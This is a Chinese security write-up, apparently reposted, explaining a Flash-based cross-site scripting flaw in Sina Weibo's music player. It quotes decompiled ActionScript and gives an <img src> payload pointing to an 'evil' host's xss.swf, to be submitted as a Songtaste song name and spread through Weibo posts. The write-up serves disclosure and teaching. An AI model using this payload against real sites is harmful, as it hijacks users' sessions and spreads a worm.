好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Flash应用安全系列[6]--新浪微博蠕虫威胁 - 网站安

基本思路就是利用allowscriptaccess=always这一条件,使flash加载我们自己的swf文件,达到跨站的目的

这回我们将目光投向了音频播放,在用windows系统浏览新浪微博时,音频还是通过swf来进行播放的。我们发现,在播放新浪音乐库、songtaste歌曲时,swf播放器的allowscriptaccess还是always。由于用户可以向songtaste提交歌曲,因此我们选择播放songtaste的歌曲做测试

 

现在我们需要思考一个问题,如何使那个音乐播放的swf文件再载入一个我们指定地址的swf文件。因为这是一个音频播放器,通常并不需要像视频播放器一样载入一个skin.swf或者一个thumbnail,而且在这个case里,我们可以控制的变量少之又少,只有歌曲名字、歌手名字等几个文本类的信息,是否可以通过这里做点文章呢。

 

我们先看看这些文本类的信息是怎么输出的。反编译swf文件(music.sina测试数据.cn/yueku/js/mwp/feedPlayer.swf?vers=3),关键的代码逻辑如下:

 

 

var _loc_3:* = this.view.loaderInfo.parameters;

...

GlobalParam.conf.song = StringUtils.trim(_loc_3.song || "");

...

var _loc_4:* = new SoundBaseVO();

...

_loc_4.songName = GlobalParam.conf.song || "";

...

        private function setFirstSong(param1:SoundBaseVO) : void

        {

            ...

            if (param1.outLink)

            {

                _loc_2 = "<b><a href=\'http://t.cn/" + GlobalParam.conf.shorturl + "\' target=\'_blank\'>" + param1.songName + "</a></b>";

                this.txt_songName. html Text = _loc_2;

                this.txt_artistName.text = StringDot.getTextLimit(param1.artistName, 13);

            }

 

我们看到,从loaderInfo对象传入的song值最后在一个名为txt_songName的文本框,以htmlText的方式输出了。不要以为这里的htmlText就等同于HTML文本语言了。Adobe的帮助手册上写的很明确,Flash Player支持部分标准 HTML 标签,包括如下:

 

 

锚标签 

粗体标签 

换行标签 

字体标签 

图像标签 

斜体标签 

列表项标签 

段落标签 

Span 标签 

文本格式标签 

下划线标签

 

值得一提的是其中的图像标签,adobe的帮助手册是这么说的

 

<img> 标签允许您将外部图像文件(JPEG、GIF、PNG)、SWF 文件和影片剪辑嵌入到文本字段中和 TextArea 组件 实例中。

 

也就是说,我们可以通过<img src="http://evil测试数据/xss.swf ">的形式嵌入一个swf文件。Cool?

 

现在我们要做的,就是去songtaste测试数据提交一个名字为 <img src="http://evil测试数据/xss.swf "> 歌曲,然后在发微博处引用这个songtaste链接,等着别人点击播放这个音乐文件。

 

Songtaste: http://HdhCmsTestsongtaste测试数据/song/3235631/

 

查看更多关于Flash应用安全系列[6]--新浪微博蠕虫威胁 - 网站安的详细内容...

  阅读:48次